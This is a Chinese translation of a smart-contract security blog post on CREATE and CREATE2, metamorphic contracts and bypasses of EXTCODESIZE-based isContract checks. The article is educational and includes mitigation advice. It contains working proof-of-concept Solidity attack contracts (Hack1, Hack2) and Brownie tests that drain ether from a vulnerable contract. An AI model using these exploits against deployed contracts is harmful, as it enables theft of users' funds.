本文深入探讨了以太坊虚拟机(EVM)的 CREATE 和 CREATE2 操作码,分析了它们在智能合约创建中的不同特性和潜在安全隐患。作者通过具体示例展示了这些操作码在实际应用中的攻击场景,并提出了相应的安全建议,使读者对智能合约开发及安全性有了更深刻的理解。
作者:Alexander Mazaletskiy - MixBytes 的安全研究员
如你所知,在 EVM 中有两个操作码用于从另一个智能合约创建和创建2智能合约。这些合约也称为工厂。
每个操作码都有其自身的特性和陷阱。
让我们看看 CREATE 和 CREATE2 操作码之间的区别:
一个重要的区别在于新合约地址的确定方式。
使用 CREATE 时,地址是由工厂合约的 nonce 确定的。每当在工厂中调用 CREATE 时,其 nonce 将增加 1。
这种方法是非常有争议的,最近与 Optimism 相关的黑客事件就与此有关。 https://rekt.news/wintermute-rekt/
使用 CREATE2 时,地址是由任意的 salt 值和 init_code 确定的。
CREATE2 的一个重大优势是,目标地址不依赖于调用时工厂的确切状态(即 nonce)。这允许在链下模拟交易结果,这是许多基于状态通道的扩展方法中的一个重要部分。
0xFF,一个常量。
部署者的地址,因此智能合约地址是发送 CREATE2 的地址。
salt 是随机的。
将在特定地址上部署的已哈希字节码。
new_address = keccak256(0xFF, sender, salt, bytecode);
然而,在 EIP-1014 中激活 CREATE2 的 Constantinopol 硬分叉也引发了安全担忧。
如果在 Constantinopol 之前,合约部署模型有 3 种状态:
“尚未部署”、“已部署”或“自毁”,
那么在 Constantinopol 之后,变为 4 种状态:
“尚未部署”、“已部署”、“自毁”、“重新部署”。
这意味着什么?这意味着合约可以使用 CREATE2 操作码重新部署到其他字节码。
作为这种行为的示例,考虑一下 Metamorphic Contracts。
有关更多详情和变形合约的信息,请访问:
https://0age.medium.com/the-promise-and-the-peril-of-metamorphic-contracts-9eb8b8413c5e
让我们考虑最可能的攻击情况。
攻击
有两个不同的合约 ContractOne.sol 和 ContractTwo.sol。
代码
pragma solidity 0.8.16;
/**
* @title ContractOne
* @notice 这是一个示例变形合约的第一个实现。
*/
contract ContractOne {
uint256 private _x;
/**
* @dev 测试函数
* @return value 一旦初始化为 1(否则为 0)
*/
function test() external view returns (uint256 value) {
return _x;
}
/**
* @dev 初始化函数
*/
function initialize() public {
_x = 1;
}
/**
* @dev 销毁函数,它允许变形合约被重新部署。
*/
function destroy() public {
selfdestruct(payable(msg.sender));
}
}
pragma solidity 0.8.16;
/*
* @title ContractTwo
* @notice 这是一个示例变形合约的第二个实现。
*/
contract ContractTwo {
event Paid(uint256 amount);
uint256 private _x;
function initialize() public {
}
/**
* @dev 可支付的回退函数,发出一个记录付款的事件。
*/
receive () external payable {
if (msg.value > 0) {
emit Paid(msg.value);
}
}
/**
* @dev 测试函数
* @return value 0 - 存储没有从第一次实现中继承。
*/
function test() external view returns (uint256 value) {
return _x;
}
}
攻击
test/test_metamorphic_contracts.py
import pytest
from brownie import ContractOne, ContractTwo
init_code_hash = '0x5860208158601c335a63aaf10f428752fa158151803b80938091923cf3'
def test_deploy(sender, metamorphic):
assert metamorphic._metamorphicContractInitializationCode() == init_code_hash
# 部署 ContractOne
tx = metamorphic.deployMetamorphicContract(sender.address + '000000000000000000000000', ContractOne.bytecode, '0x8129fc1c', {"from": sender})
deployed_address = tx.events['Metamorphosed']['metamorphicContract']
deployed_contract = ContractOne.at(deployed_address)
assert deployed_contract.test() == 1
# 自毁 ContractOne
deployed_contract.destroy({"from": sender})
# 部署 ContractTwo
tx = metamorphic.deployMetamorphicContract(sender.address + '000000000000000000000000', ContractTwo.bytecode, b"", {"from": sender})
deployed_address_new = tx.events['Metamorphosed']['metamorphicContract']
deployed_contract_new = ContractTwo.at(deployed_address_new)
assert deployed_contract_new.test() == 0
# 合约重新部署
assert deployed_address == deployed_address_new
假设有一个特定地址。使用 EXTCODESIZE 操作码,可以验证该地址是一个 EOA 还是一个智能合约。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;
contract Target2 {
function isContract(address account) public view returns (bool) {
// 此方法依赖于 extcodesize,对于正在构造中的合约返回 0,
// 因为代码仅在构造函数执行结束时存储。
uint size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
}
contract SimpleContract2 {
bool public isContract;
address public addr;
address public target;
uint256 public balance;
receive () external payable {
if (msg.value > 0) {
balance += msg.value;
}
}
// 当合约正在被创建时,代码大小 (extcodesize) 为 0。
// 这将绕过 isContract() 检查。
constructor(address _target) payable {
target = _target;
}
function setAddr(address _addr) external {
require(!Target2(target).isContract(_addr), "不允许合约地址");
addr = _addr;
}
// 只为用户从合同中提取以太
function sweep(uint256 _value) external {
require(msg.sender == addr, "不允许的地址");
// 如果我们有余额发送给用户
if (balance <= _value) {
_value = balance;
}
if (_value > 0) {
balance -= _value;
(bool sent,) = payable(addr).call{value: _value}("");
}
}
}
contract Hack2 {
address public hacker;
function setHacker(address _hacker) external {
hacker = _hacker;
}
receive () external payable {
if (msg.value > 0) {
payable(hacker).send(msg.value);
(bool success, bytes memory data) = msg.sender.call(abi.encodeWithSignature("sweep(uint256)", msg.value));
require(success, "未成功");
}
}
function drain(address _contract) external {
(bool success, bytes memory data) = _contract.call(abi.encodeWithSignature("sweep(uint256)", 0.1 ether));
require(success, "未成功");
}
}
这段代码实现了以下功能(请勿在生产中使用此示例,仅仅用于潜在攻击的演示):
设置一个可以提取合约中以太的 EOA 地址,通过 setAddr,这意味着该地址不是智能合约。
允许提取已设置的 addr 中的以太。
攻击
test/conftest.py
import pytest
from brownie import Target2
@pytest.fixture
def target_2(Target2, sender):
target_2 = sender.deploy(Target2)
yield target_2
@pytest.fixture
def target_2(Target2, sender):
target_2 = sender.deploy(Target2)
yield target_2
test/test_create2_is_contract.py
from brownie import SimpleContract2, Hack2
from brownie.network import accounts
init_code_hash = '0x5860208158601c335a63aaf10f428752fa158151803b80938091923cf3'
def test_hack_2(sender, metamorphic, target_2, hacker_1, hacker_2, SimpleContract2, Hack2):
# 获取 Addr
addr = metamorphic.findMetamorphicContractAddress(sender.address + '000000000000000000000000')
sender.transfer(addr, "1 ether")
addr_account = accounts.at(addr, force=True)
assert addr_account.balance() == 1e18
# 部署 SimpleContract2
simple_contract_2 = sender.deploy(SimpleContract2, target_2.address)
# 设置 Addr 作为 EOA
simple_contract_2.setAddr(addr)
# 将代码部署到 addr
tx = metamorphic.deployMetamorphicContract(sender.address + '000000000000000000000000', Hack2.bytecode, b"", {"from": sender})
deployed_addr = tx.events['Metamorphosed']['metamorphicContract']
assert deployed_addr == addr
deployed_addr_account = accounts.at(addr, force=True)
assert deployed_addr_account .balance() == 1e18
hack_2 = Hack2.at(deployed_addr)
hack_2.setHacker(hacker_1, {"from": sender})
sender.transfer(simple_contract_2, "1 ether")
balance_hacker_1_before = hacker_1.balance()
# 清除 SimpleContract2 的余额
tx = hack_2.drain(simple_contract_2, {"from": hacker_2})
simple_contract_2_account = accounts.at(simple_contract_2, force=True)
assert simple_contract_2_account.balance() == 0
balance_hacker_1_after = hacker_1.balance()
assert balance_hacker_1_before < balance_hacker_1_after
在上面的示例中,代码使用的是 isContract() 函数,该函数又使用了 EXCODESIZE 操作码。
function isContract(address account) public view returns (bool) {
uint size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
这个想法很简单:如果一个地址包含代码,则它不是 EOA,而是一个合约账户。
然而,合约在构造期间没有代码可用。
示例
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;
contract Target1 {
function isContract(address account) public view returns (bool) {
// 此方法依赖于 extcodesize,对于正在构建中的合约返回 0,
// 因为代码仅在构造函数执行结束时存储。
uint size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
bool public pwned = false;
function protected() external {
require(!isContract(msg.sender), "不允许合约地址");
pwned = true;
}
}
contract FailedAttack1 {
// 尝试调用 Target.protected 将会失败,
// Target 阻止来自合约的调用
function pwn(address _target) external {
// 这将失败
Target1(_target).protected();
}
}
contract Hack1 {
bool public isContract;
address public addr;
// 当合约正在被创建时,代码大小 (extcodesize) 为 0。
// 这将绕过 isContract() 检查
constructor(address _target) {
isContract = Target1(_target).isContract(address(this));
addr = address(this);
// 这将成功
Target1(_target).protected();
}
}
不幸的是,目前没有单一的方法来防止使用 create2 的攻击。然而,一种可能的安全措施是使用 EXTCODEHASH 字节码,并基于接收到的哈希创建字节码白名单。
有关更多的信息,请参阅 这里。
在检查外部调用时谨慎使用 EXTCODESIZE。
使用 CREATE 和 CREATE2 提供了创建合约工厂的巨大机会,但也带来了巨大的危险。
CREATE2 应该比 CREATE 更好,但实际上却产生了更多问题。
使用 EXTCODESIZE 阻止智能合约攻击并不是一个安全的解决方案。
CREATE,CREATE2
https://learnblockchain.cn/article/12423
https://learnblockchain.cn/article/12422
深入了解 CREATE2
https://blog.cotten.io/ethereums-eip-1014-create-2-d17b1a184498
https://consensys.net/diligence/blog/2019/02/smart-contract-security-newsletter-16-create2-faq/
变形合约
https://0age.medium.com/the-promise-and-the-peril-of-metamorphic-contracts-9eb8b8413c5e
EXTCODESIZE
EXTCODEHASH
https://soliditydeveloper.com/extcodehash
MixBytes 是一个由专家区块链审计员和安全研究人员组成的团队,专注于为 EVM 兼容和 Substrate 基础项目提供全面的智能合约审计和技术咨询服务。请关注我们的 X,以便随时了解最新的行业趋势和见解。
- 原文链接: mixbytes.io/blog/pitfall...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!